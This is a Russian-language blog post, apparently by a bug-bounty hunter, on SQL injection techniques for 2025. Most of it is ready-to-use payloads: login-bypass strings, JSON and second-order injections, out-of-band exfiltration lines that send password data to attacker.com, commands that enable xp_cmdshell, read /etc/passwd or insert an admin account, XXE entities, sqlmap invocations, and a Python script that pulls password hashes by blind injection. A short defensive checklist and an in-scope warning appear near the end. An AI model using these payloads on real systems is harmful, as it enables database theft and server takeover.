💉 SQL-инъекция в 2025: старая школа, новые трюки

Привет, хакеры! Думаешь, SQL-инъекции вымерли как динозавры? Ха! В 2025 году они до сих пор в OWASP Top 3, и я каждую неделю нахожу их на боевых продах. 💰

Сегодня расскажу, как древняя уязвимость эволюционировала и какие новые техники работают, когда классика забанена.

🔍 Почему SQLi всё ещё жива?

Три причины:

1. Legacy код — миллионы строк старого PHP/Java живут и процветают

2. Новички в разработке — не все читали про prepared statements

3. Микросервисная архитектура — больше сервисов = больше точек входа

Короче, пока разработчики пишут код, SQLi будет приносить нам bounty. 😎

🎯 Классика, которая всё ещё работает

Базовый тест (всегда начинай с этого):

/* Простейшая проверка */
' OR '1'='1
" OR "1"="1
' OR 1=1--
') OR ('1'='1
/* Boolean-based */
' AND 1=1-- (true)
' AND 1=2-- (false)
/* Time-based (если нет вывода) */
' AND SLEEP(5)--
'; WAITFOR DELAY '00:00:05'--

Лайфхак: Всегда проверяй все параметры — GET, POST, Cookies, Headers. Находил SQLi даже в User-Agent! 💣

🔥 Новая школа: обход современных защит

Трюк #1: JSON-based SQLi (тренд 2025)

API используют JSON → разработчики забывают санитизировать внутри JSON.

/* Обычный запрос */
{"user_id": 123, "action": "view"}
/* SQLi через JSON */
{"user_id": "123' OR '1'='1", "action": "view"}
/* Ещё грязнее: вложенный JSON */
{
"filters": {
"status": "active' UNION SELECT password FROM users--"
}
}
/* NoSQL + SQL combo (MongoDB + MySQL backend) */
{
"username": {"$ne": null},
"password": "' OR '1'='1"
}

Трюк #2: Second-Order SQLi (отложенное исполнение)

Payload срабатывает не сразу, а когда данные используются повторно.

/* Шаг 1: Регистрация с payload в имени */
Username: admin'--
Email: hacker@test.com
/* Шаг 2: Приложение сохраняет в БД */
INSERT INTO users (username) VALUES ('admin'--')
/* Шаг 3: Логин-форма использует имя в запросе */
SELECT * FROM sessions WHERE username = 'admin'--' AND password = 'xxx'

Результат: Логин без пароля! WAF не палит, потому что инъекция происходит на уровне БД, а не HTTP-запроса. 🔥

Где искать:

• Профиль пользователя (bio, username, address)

• Комментарии и отзывы

• Email templates

• CSV импорт данных

Трюк #3: ORM SQLi (когда думают, что защищены)

Многие используют ORM (Django, Hibernate) и думают “я защищён”. НЕТ!

# Django — небезопасно (raw queries)
User.objects.raw("SELECT * FROM users WHERE id = " + user_input)
# Правильно
User.objects.filter(id=user_input)
# Но есть дырка через extra()
User.objects.extra(where=["username = '%s'" % user_input]) # SQLI!

Аналогично в других ORM:

// Hibernate HQL injection
session.createQuery("FROM User WHERE name = '" + input + "'")
// Node.js Sequelize
sequelize.query("SELECT * FROM users WHERE id = " + req.query.id)

Мораль: ORM != безопасность. Проверяй raw queries и методы типа `extra()`, `raw()`, `createQuery()`.

Трюк #4: Blind SQLi через DNS exfiltration

Когда нет вывода ошибок, времени ждать лень → используй DNS.

/* MySQL */
' AND (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\abc')))--
/* PostgreSQL */
'; COPY (SELECT password FROM users) TO PROGRAM 'curl http://attacker.com?data='--
/* MSSQL */
'; EXEC master..xp_dirtree '\\' + (SELECT TOP 1 password FROM users) + '.attacker.com\share'--

Как это работает:

1. SQL-запрос делает DNS-lookup к твоему домену

2. В поддомене — украденные данные

3. Ты ловишь их через DNS-логи

Инструмент: Burp Collaborator или собственный DNS-сервер. Работает даже через жёсткие фаерволы! 💀

Трюк #5: SQLi через XML (XXE + SQLi combo)

Если приложение парсит XML → можешь засунуть SQL в XML-entity.

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<id>&xxe;</id>
</user>
<!-- Комбо: XXE для чтения SQLi payload из файла -->
<!DOCTYPE foo [
<!ENTITY sqli SYSTEM "http://attacker.com/sqli.txt">
]>
<search>&sqli;</search>

Где встречается: API, SOAP сервисы, RSS парсеры, XML-based конфиги.

🛠️ Автоматизация: инструменты 2025

# sqlmap (вечная классика, но с новыми фишками)
sqlmap -u "http://target.com/api?id=1" \
--json="{'id': 1}" \
--tamper=space2comment,between \
--level=5 --risk=3
# Для GraphQL
python3 graphql-sqli-scanner.py -u http://target.com/graphql
# NoSQL + SQL комбо
nosqlmap -u "http://target.com/search" --json
# Мой custom скрипт для Second-Order
python3 second-order-hunter.py -u http://target.com --register /signup --trigger /profile

💡 Продвинутые техники извлечения данных

  1. Chunked exfiltration (для больших данных):
/* Извлекаем по одному символу через SUBSTRING */
' AND SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1) = 'a'--
' AND SUBSTRING((SELECT password FROM users LIMIT 1), 2, 1) = 'b'--

Автоматизация:

import requests
url = "http://target.com?id=1"
password = ""
for i in range(1, 33): # hash обычно 32 символа
for char in "abcdef0123456789":
payload = f"' AND SUBSTRING((SELECT password FROM users LIMIT 1), {i}, 1) = '{char}'--"
r = requests.get(url + payload)
if "Welcome" in r.text: # условие успеха
password += char
print(f"[+] Found: {password}")
break
  1. Out-of-band data exfiltration:
/* Через HTTP запрос (MySQL с UDF) */
'; SELECT load_file(CONCAT('\\\\', (SELECT password FROM users), '.attacker.com\\a'))--
/* Через email (если есть права) */
'; EXEC msdb.dbo.sp_send_dbmail @recipients='hacker@test.com', @query='SELECT * FROM users'--
  1. Privilege escalation через SQLi:
/* MySQL: создаём админа */
'; INSERT INTO users (username, password, role) VALUES ('hax0r', 'hash', 'admin')--
/* MSSQL: включаем xp_cmdshell */
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
/* PostgreSQL: читаем файлы сервера */
'; COPY (SELECT '') TO PROGRAM 'cat /etc/passwd > /tmp/pwned.txt'--

Внимание: Это для тестов в scope! Не делай на реальных продах без разрешения, а то сядешь. 🚔

🎯 Где искать SQLi в 2025?

Горячие точки:

✅ API endpoints — особенно REST/GraphQL

✅ Фильтры и поиск — сортировка, pagination

✅ Cookie-based параметры — session_id, user_token

✅ Headers — X-Forwarded-For, Referer, User-Agent

✅ File uploads — metadata в EXIF

✅ OAuth callbacks — параметры в redirect_uri

✅ WebSockets — JSON-сообщения

Топ-3 места для SQLi:

1. Search функционал (35%)

2. API параметры (28%)

3. Admin панели (22%)

🔐 Как защититься (для админов)

Если ты читаешь это и ты админ — вот чеклист:

✅ Prepared statements везде (PDO, mysqli_prepare, параметризированные запросы)

✅ ORM правильно (никаких raw queries с конкатенацией)

✅ Валидация входных данных (whitelist, не blacklist)

✅ Least privilege (БД-пользователь без прав на DROP/CREATE)

✅ WAF (но не полагайся только на него)

✅ Регулярные пентесты (наймите нас, хакеров 😏)

🎓 Мораль истории

SQL-инъекция — это как классический рок-н-ролл. Старая, но бессмертная. 🎸

В 2025 году она просто надела новую маску:

• JSON вместо GET-параметров

• GraphQL вместо REST

• Microservices вместо монолитов

Но суть та же: недоверие пользовательскому вводу = деньги в твоём кармане. 💰

🚀 Домашка для хакеров

1. Зайди на HackTheBox или TryHackMe

2. Пройди SQLi-лабы (есть бесплатные)

3. Попрактикуй все 5 трюков из поста

4. Найди свою первую SQLi в bug bounty

Удачной охоты, пусть ваши UNION’ы всегда SELECT’ят! 💉💻

#дневникхакера #sqli #sqlinjection #bugbounty #pentest #websecurity #ethicalhacking #owasp #hacking #infosec #redteam #cybersecurity

P.S. Если нашёл SQLi — пиши правильный отчёт с PoC, impact’ом и remediation. Так заплатят больше. 💸

P.P.S. Помни: `' OR '1'='1` — это не просто payload, это философия. Всегда есть способ обойти защиту, нужно лишь подумать. 🧠🔥

62 views·10 shares